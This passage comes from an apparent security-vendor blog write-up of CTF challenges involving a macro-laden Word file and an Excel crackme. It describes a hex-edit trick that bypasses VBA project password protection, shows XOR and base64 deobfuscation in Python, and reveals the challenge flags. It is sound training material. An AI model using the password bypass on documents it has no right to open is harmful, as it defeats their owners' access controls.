https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled14-116x40.png 116w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled14.png 975w\" sizes=\"auto, (max-width: 500px) 100vw, 500px\" \/><\/span><\/div><\/a><\/p>\n<p>I put that into a hex editor and then tested the key to complete the challenge.<\/p>\n<p><a href=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled15.png\"><div style=\"max-width:100%\" data-width=\"500\"><span class=\"ar-custom\" style=\"padding-bottom:32.6%;\"><img loading=\"lazy\" decoding=\"async\"  class=\"aligncenter size-large wp-image-17335 lozad\"  data-src=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled15-500x163.png\" alt=\"Untitled15\" width=\"500\" height=\"163\" srcset=\"https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled15-500x163.png 500w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled15-230x75.png 230w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled15-768x250.png 768w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled15-510x166.png 510w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled15-123x40.png 123w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled15.png 975w\" sizes=\"auto, (max-width: 500px) 100vw, 500px\" \/><\/span><\/div><\/a><\/p>\n<p><a href=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled16.png\"><div style=\"max-width:100%\" data-width=\"500\"><span class=\"ar-custom\" style=\"padding-bottom:55.2%;\"><img loading=\"lazy\" decoding=\"async\"  class=\"aligncenter size-large wp-image-17338 lozad\"  data-src=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled16-500x276.png\" alt=\"Untitled16\" width=\"500\" height=\"276\" srcset=\"https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled16-500x276.png 500w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled16-230x127.png 230w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled16-768x423.png 768w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled16-510x281.png 510w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled16-73x40.png 73w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled16.png 778w\" sizes=\"auto, (max-width: 500px) 100vw, 500px\" \/><\/span><\/div><\/a><\/p>\n<h3>Document 4 Challenge: Macros are fun.<\/h3>\n<p><em>Challenge Created By: Curtis Carmony <\/em><a href=\"https:\/\/twitter.com\/c1fe\" rel=\"nofollow,noopener\"  target=\"_blank\"><em>@c1fe<\/em><\/a><\/p>\n<p>For this challenge, we\u2019re provided a file \u201cfun.docm\u201d, with the extension implying that we\u2019ll be having (no)fun with macros!<\/p>\n<p>After opening the document, we\u2019re presented with the text \u201cMORE MACROS = MORE FUN\u201d in large color-changing font with a lovely air-horn sound that plays on repeat. Attempting to open the VB Project reveals that it\u2019s password protected, so we\u2019ll need to bypass this first.<\/p>\n<p><a href=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled17.png\"><div style=\"max-width:100%\" data-width=\"412\"><span class=\"ar-custom\" style=\"padding-bottom:43.45%;\"><img loading=\"lazy\" decoding=\"async\"  class=\"aligncenter size-full wp-image-17341 lozad\"  data-src=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled17.png\" alt=\"Untitled17\" width=\"412\" height=\"179\" srcset=\"https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled17.png 412w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled17-230x100.png 230w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled17-92x40.png 92w\" sizes=\"auto, (max-width: 412px) 100vw, 412px\" \/><\/span><\/div><\/a><\/p>\n<p>As the new format for Doc files are archives, we\u2019ll open it up in 7z and look for the \u2018vbaProject.bin\u2019 file under the \u2018\\word\\\u2019 directory. Open this up in a hex editor and search for the string \u2018DPB=\u201d\u2019 then simply change it to something like \u2018DPX=\u201d\u2019 and save the file. When you load the file now you\u2019ll receive an error about the project containing an invalid key with an option to continue loading it anyway. Now you\u2019ll be able to access the VB Project and can go into the Project Properties and unselect \u2018Lock project for viewing\u2019 to remove the password protection.<\/p>\n<p><a href=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled18.png\"><div style=\"max-width:100%\" data-width=\"300\"><span class=\"ar-custom\" style=\"padding-bottom:38.33%;\"><img loading=\"lazy\" decoding=\"async\"  class=\"aligncenter size-full wp-image-17344 lozad\"  data-src=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled18.png\" alt=\"Untitled18\" width=\"300\" height=\"115\" srcset=\"https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled18.png 300w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled18-230x88.png 230w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled18-104x40.png 104w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/span><\/div><\/a><\/p>\n<p>Looking at the project, we can see that there are two forms, \u2018NpuXrzgq\u2019 and \u2018U8pblvDZuAh8Gy\u2019, along with one module \u2018Z1yiWeP\u2019. Looking at the code in the main document and the module, it looks like there are a lot of functions so we\u2019ll start by debugging it and get a feel for what it\u2019s trying to do. Putting a \u2018Stop\u2019 after the initial \u2018Document_Open()\u2019 function starts the process.<\/p>\n<p><a href=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled19.png\"><div style=\"max-width:100%\" data-width=\"500\"><span class=\"ar-custom\" style=\"padding-bottom:51.4%;\"><img loading=\"lazy\" decoding=\"async\"  class=\"aligncenter size-large wp-image-17347 lozad\"  data-src=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled19-500x257.png\" alt=\"Untitled19\" width=\"500\" height=\"257\" srcset=\"https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled19-500x257.png 500w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled19-230x118.png 230w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled19-510x262.png 510w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled19-78x40.png 78w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled19.png 750w\" sizes=\"auto, (max-width: 500px) 100vw, 500px\" \/><\/span><\/div><\/a><\/p>\n<p>Before even getting into the meat of the macro we can see we may have a problem as it\u2019s checking if there are four \u2018VBcomponents\u2019 when we only have three. Stepping through the \u2018zkceuV405Q5LjUp587OYxTI7OR9zTyPdvz8k\u2019 function, we find this to be the series of events that decode the embedded WAV file and continuously play the air-horn while changing the text in the document.<\/p>\n<p>If we adjust the code so it doesn\u2019t fail the first check, we follow the macro to \u2018XiqyXdC809pP5esSrC633ag92w0x6otQylY0\u2019 function, which immediately calls \u2018zoycqKJvqznJMeMpHe7Z61xYJfLLmbObxBVy\u2019 and then begins to enumerate the function names.<\/p>\n<p><a href=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled20.png\"><div style=\"max-width:100%\" data-width=\"500\"><span class=\"ar-custom\" style=\"padding-bottom:52.8%;\"><img loading=\"lazy\" decoding=\"async\"  class=\"aligncenter size-large wp-image-17350 lozad\"  data-src=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled20-500x264.png\" alt=\"Untitled20\" width=\"500\" height=\"264\" srcset=\"https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled20-500x264.png 500w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled20-230x122.png 230w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled20-768x406.png 768w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled20-510x270.png 510w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled20-76x40.png 76w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled20.png 900w\" sizes=\"auto, (max-width: 500px) 100vw, 500px\" \/><\/span><\/div><\/a><\/p>\n<p>The function \u2018BqNFmKCS7cTPv9XNFOd2mCLrdqCfmdNm6HBz\u2019 begins a process of base-64 decoding the function name and then modifying the byte-values based on various fields of the document.<\/p>\n<p><a href=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled21.png\"><div style=\"max-width:100%\" data-width=\"500\"><span class=\"ar-custom\" style=\"padding-bottom:15.6%;\"><img loading=\"lazy\" decoding=\"async\"  class=\"aligncenter size-large wp-image-17353 lozad\"  data-src=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled21-500x78.png\" alt=\"Untitled21\" width=\"500\" height=\"78\" srcset=\"https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled21-500x78.png 500w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled21-230x36.png 230w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled21-768x120.png 768w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled21-510x80.png 510w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled21-240x38.png 240w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled21.png 900w\" sizes=\"auto, (max-width: 500px) 100vw, 500px\" \/><\/span><\/div><\/a><\/p>\n<p>Both of the functions are one-byte XoR\u2019s, 44 and 32 respectively, which then get compared to the base-64 decoded value of \u2018U8pblvDZuAh8GY.Label1.Caption\u2019, which is \u2018xRgWTqWr7ipEjFBfESrOiaYFu9i9Jml3Q171\u2019.<\/p>\n<p><a href=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled21.png\"><div style=\"max-width:100%\" data-width=\"500\"><span class=\"ar-custom\" style=\"padding-bottom:25.4%;\"><img loading=\"lazy\" decoding=\"async\"  class=\"aligncenter size-large wp-image-17356 lozad\"  data-src=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled21-500x127.png\" alt=\"Untitled21\" width=\"500\" height=\"127\" srcset=\"https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled21-500x127.png 500w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled21-230x58.png 230w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled21-768x195.png 768w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled21-510x129.png 510w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled21-158x40.png 158w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled21.png 899w\" sizes=\"auto, (max-width: 500px) 100vw, 500px\" \/><\/span><\/div><\/a><\/p>\n<p>Based on this, we can grab all of the function names and quickly determine the match by base64 decoding each and XoR\u2019ing the bytes by 44 and 32.<\/p>\n<pre class=\"lang:default decode:true \">&gt;&gt;&gt; a = base64.b64decode(\"yRQaQqmn4iZIgFxTHSbChaoJt9SxKmV7T1L5\")\r\n&gt;&gt;&gt; b = base64.b64decode(\"xRgWTqWr7ipEjFBfESrOiaYFu9i9Jml3Q171\")\r\n&gt;&gt;&gt; b\r\n'\\xc5\\x18\\x16N\\xa5\\xab\\xee*D\\x8cP_\\x11*\\xce\\x89\\xa6\\x05\\xbb\\xd8\\xbd&amp;iwC^\\xf5'\r\n&gt;&gt;&gt; c = \"\"\r\n&gt;&gt;&gt; for i in a:\r\n...     c += chr(ord(i) ^ 44 ^ 32)\r\n...\r\n&gt;&gt;&gt; c\r\n'\\xc5\\x18\\x16N\\xa5\\xab\\xee*D\\x8cP_\\x11*\\xce\\x89\\xa6\\x05\\xbb\\xd8\\xbd&amp;iwC^\\xf5'\r\n<\/pre>\n<p>Now that we have our interesting function name, we can force the macro to use this value and continue debugging it.<\/p>\n<p>Back in the \u2018XiqyXdC809pP5esSrC633ag92w0x6otQylY0\u2019 function, it will take another function name, \u2018d7KRoSK5UEDh35jJNkj0TtcJjOIbmBZlyCql\u2019 and pass it along with our matching name to another function, which base64 decodes \u2018d7KRoSK5UEDh35jJNkj0TtcJjOIbmBZlyCql\u2019 into an array before sending us to function \u2018XWn5TNdoykQb0QoitVEG7sLOxIRSi97XmqmM\u2019 which has a \u2018MsgBox\u2019 call, presumably to print our flag!<\/p>\n<p>Looking at the function we can see there are a few more XoR and comparison checks against property values for the forms within the VBProject.<\/p>\n<p><a href=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled22.png\"><div style=\"max-width:100%\" data-width=\"500\"><span class=\"ar-custom\" style=\"padding-bottom:15.6%;\"><img loading=\"lazy\" decoding=\"async\"  class=\"aligncenter size-large wp-image-17359 lozad\"  data-src=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled22-500x78.png\" alt=\"Untitled22\" width=\"500\" height=\"78\" srcset=\"https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled22-500x78.png 500w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled22-230x36.png 230w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled22-768x120.png 768w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled22-510x80.png 510w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled22-240x38.png 240w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled22.png 900w\" sizes=\"auto, (max-width: 500px) 100vw, 500px\" \/><\/span><\/div><\/a><\/p>\n<p><a href=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled23.png\"><div style=\"max-width:100%\" data-width=\"500\"><span class=\"ar-custom\" style=\"padding-bottom:70%;\"><img loading=\"lazy\" decoding=\"async\"  class=\"aligncenter size-large wp-image-17362 lozad\"  data-src=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled23-500x350.png\" alt=\"Untitled23\" width=\"500\" height=\"350\" srcset=\"https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled23-500x350.png 500w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled23-230x161.png 230w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled23-428x300.png 428w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled23-57x40.png 57w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled23.png 544w\" sizes=\"auto, (max-width: 500px) 100vw, 500px\" \/><\/span><\/div><\/a><\/p>\n<p>At this point it XoR\u2019s the \u2018d7KRoSK5UEDh35jJNkj0TtcJjOIbmBZlyCql\u2019 function name by 144 and 85, takes the result of that and XoR\u2019s it against the base-64 decoded value of \u2018XJCR\/DogZt7bduvvusJgAQu6QX9DmtKN+bZB\u2019 to see if they match\u2026which they won\u2019t.<\/p>\n<p>Since we know two parts of the puzzle, we can just work backwards to figure out what the initial second function name should be and go from there. We\u2019ll base-64 decode the \u2018XJCR\u2019 string and \u2018yRQa\u2019 string, XoR them together, then XoR each resulting byte by 144 and 85.<\/p>\n<pre class=\"lang:default decode:true \">&gt;&gt;&gt; a = base64.b64decode(\"yRQaQqmn4iZIgFxTHSbChaoJt9SxKmV7T1L5\")\r\n&gt;&gt;&gt; b = base64.b64decode(\"XJCR\/DogZt7bduvvusJgAQu6QX9DmtKN+bZB\")\r\n&gt;&gt;&gt; c = \"\"\r\n&gt;&gt;&gt; for index,value in enumerate(a):\r\n...     c += chr((ord(value) ^ ord(b[index])) ^ 144 ^ 85)\r\n...\r\n&gt;&gt;&gt; c\r\n'PAN{VBA=V3ryb!gAdv3n7ur3s!}'\r\n<\/pre>\n<h3>Document 5 Challenge: EXCEL.EXE not just CALC.EXE<\/h3>\n<p><em>Challenge Created By: Curtis Carmony <\/em><a href=\"https:\/\/twitter.com\/c1fe\" rel=\"nofollow,noopener\"  target=\"_blank\"><em>@c1fe<\/em><\/a><\/p>\n<p>We are given an Excel document that has a Crackme. When we try to test a key, a cheeky popup appears, tells us we are wrong, closes Excel, and launches calc.exe.<\/p>\n<p><a href=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled24.png\"><div style=\"max-width:100%\" data-width=\"500\"><span class=\"ar-custom\" style=\"padding-bottom:17%;\"><img loading=\"lazy\" decoding=\"async\"  class=\"aligncenter size-large wp-image-17365 lozad\"  data-src=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled24-500x85.png\" alt=\"Untitled24\" width=\"500\" height=\"85\" srcset=\"https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled24-500x85.png 500w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled24-230x39.png 230w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled24-768x130.png 768w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled24-510x86.png 510w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled24-236x40.png 236w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled24.png 975w\" sizes=\"auto, (max-width: 500px) 100vw, 500px\" \/><\/span><\/div><\/a><\/p>\n<p>When we open the document back up and look at the macros there is only one very simple macro to close the document, so there are definitely some shenanigans.<\/p>\n<pre class=\"lang:default decode:true \">Sub excelulate()\r\n\r\n   Application.Quit\r\n\r\nEnd Sub<\/pre>\n<p>&nbsp;<\/p>\n<p>If we right click on the sheets on the bottom and click unhide there is a secret hidden sheet.<\/p>\n<p><a href=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled24-1.png\"><div style=\"max-width:100%\" data-width=\"500\"><span class=\"ar-custom\" style=\"padding-bottom:62.4%;\"><img loading=\"lazy\" decoding=\"async\"  class=\"aligncenter size-large wp-image-17368 lozad\"  data-src=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled24-1-500x312.png\" alt=\"Untitled24\" width=\"500\" height=\"312\" srcset=\"https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled24-1-500x312.png 500w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled24-1-230x144.png 230w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled24-1-480x300.png 480w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled24-1-64x40.png 64w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled24-1.png 655w\" sizes=\"auto, (max-width: 500px) 100vw, 500px\" \/><\/span><\/div><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>If we go to the secret sheet, click \u201cShow Formulas\u201d and make the font black then we can see there are Excel functions in the cells. There is one cell that looks interesting at A14 that is referring to a super secret sheet that we cannot see.<\/p>\n<p><a href=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled25.png\"><div style=\"max-width:100%\" data-width=\"500\"><span class=\"ar-custom\" style=\"padding-bottom:51.2%;\"><img loading=\"lazy\" decoding=\"async\"  class=\"aligncenter size-large wp-image-17371 lozad\"  data-src=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled25-500x256.png\" alt=\"Untitled25\" width=\"500\" height=\"256\" srcset=\"https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled25-500x256.png 500w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled25-230x118.png 230w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled25-768x393.png 768w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled25-510x261.png 510w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled25-78x40.png 78w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled25.png 975w\" sizes=\"auto, (max-width: 500px) 100vw, 500px\" \/><\/span><\/div><\/a><\/p>\n<p>I modified the macro to try and make all of the sheets visible and clicked the button.<\/p>\n<pre class=\"lang:default decode:true \">Sub excelulate()\r\nDim x As Worksheet\r\nFor Each x In Sheets\r\n    x.Visible = True\r\nNext\r\nEnd Sub\r\n<\/pre>\n<p>We can now see a super secret sheet with more formulas. It is pretty amazing that there can be hidden and then super hidden sheets in Excel.<\/p>\n<p><a href=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled26.png\"><div style=\"max-width:100%\" data-width=\"500\"><span class=\"ar-custom\" style=\"padding-bottom:47.4%;\"><img loading=\"lazy\" decoding=\"async\"  class=\"aligncenter size-large wp-image-17374 lozad\"  data-src=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled26-500x237.png\" alt=\"Untitled26\" width=\"500\" height=\"237\" srcset=\"https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled26-500x237.png 500w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled26-230x109.png 230w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled26-768x365.png 768w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled26-510x242.png 510w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled26-84x40.png 84w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled26.png 975w\" sizes=\"auto, (max-width: 500px) 100vw, 500px\" \/><\/span><\/div><\/a><\/p>\n<p>If we remove uncheck \u201cShow Formulas\u201d and remove everything from F13 besides the concatenate function, Excel will print the formula for us.<\/p>\n<p>=CONCATENATE(D7,A5,C5,B4,E20,B6,A8,B8,A12,B10,E10,C9,B13,D12,C11,B16,A25,A18,B19,C20,B21,B2,D23,B24,E4,B26,D16,A21,C14,A16)<\/p>\n<p><a href=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled27.png\"><div style=\"max-width:100%\" data-width=\"500\"><span class=\"ar-custom\" style=\"padding-bottom:31.2%;\"><img loading=\"lazy\" decoding=\"async\"  class=\"aligncenter size-large wp-image-17377 lozad\"  data-src=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled27-500x156.png\" alt=\"Untitled27\" width=\"500\" height=\"156\" srcset=\"https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled27-500x156.png 500w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled27-230x72.png 230w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled27-768x240.png 768w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled27-510x160.png 510w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled27-128x40.png 128w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled27.png 975w\" sizes=\"auto, (max-width: 500px) 100vw, 500px\" \/><\/span><\/div><\/a><\/p>\n<p>If we enter that key into the original file we get the winning message and find that we are the EXCELULATOR! It is pretty amazing all the things you can do with Excel.<\/p>\n<p><a href=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled28.png\"><div style=\"max-width:100%\" data-width=\"500\"><span class=\"ar-custom\" style=\"padding-bottom:32.6%;\"><img loading=\"lazy\" decoding=\"async\"  class=\"aligncenter size-large wp-image-17380 lozad\"  data-src=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled28-500x163.png\" alt=\"Untitled28\" width=\"500\" height=\"163\" srcset=\"https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled28-500x163.png 500w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled28-230x75.png 230w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled28-768x250.png 768w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled28-510x166.png 510w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled28-123x40.png 123w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled28.png 975w\" sizes=\"auto, (max-width: 500px) 100vw, 500px\" \/><\/span><\/div><\/a><\/p>\n<p>Leave a comment below to share your thoughts about these challenges. Be sure to also check out how other threat researchers solved these challenges:<\/p>\n<h3>Document 1 Challenge<\/h3>\n<ul>\n<li><a href=\"https:\/\/dbheise.github.io\/2016\/08\/15\/2016-Palo-Alto-Labyrenth-CTF-Doc-01\/\" rel=\"nofollow,noopener\"  target=\"_blank\">https:\/\/dbheise.github.io\/2016\/08\/15\/2016-Palo-Alto-Labyrenth-CTF-Doc-01\/<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/uafio\/git\/blob\/master\/scripts\/labyREnth-2016\/labyrenth-2016-docs-1.py\" rel=\"nofollow,noopener\"  target=\"_blank\">https:\/\/github.com\/uafio\/git\/blob\/master\/scripts\/labyREnth-2016\/labyrenth-2016-docs-1.py<\/a><\/li>\n<\/ul>\n<h3>Document 2 Challenge<\/h3>\n<ul>\n<li><a href=\"https:\/\/dbheise.github.io\/2016\/08\/15\/2016-Palo-Alto-Labyrenth-CTF-Doc-02\/\" rel=\"nofollow,noopener\"  target=\"_blank\">https:\/\/dbheise.github.io\/2016\/08\/15\/2016-Palo-Alto-Labyrenth-CTF-Doc-02\/<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/uafio\/git\/blob\/master\/scripts\/labyREnth-2016\/labyrenth-2016-docs-2.py\" rel=\"nofollow,noopener\"  target=\"_blank\">https:\/\/github.com\/uafio\/git\/blob\/master\/scripts\/labyREnth-2016\/labyrenth-2016-docs-2.py<\/a><\/li>\n<\/ul>\n<h3>Document 3 Challenge<\/h3>\n<ul>\n<li><a href=\"https:\/\/dbheise.github.io\/2016\/08\/15\/2016-Palo-Alto-Labyrenth-CTF-Doc-03\/\" 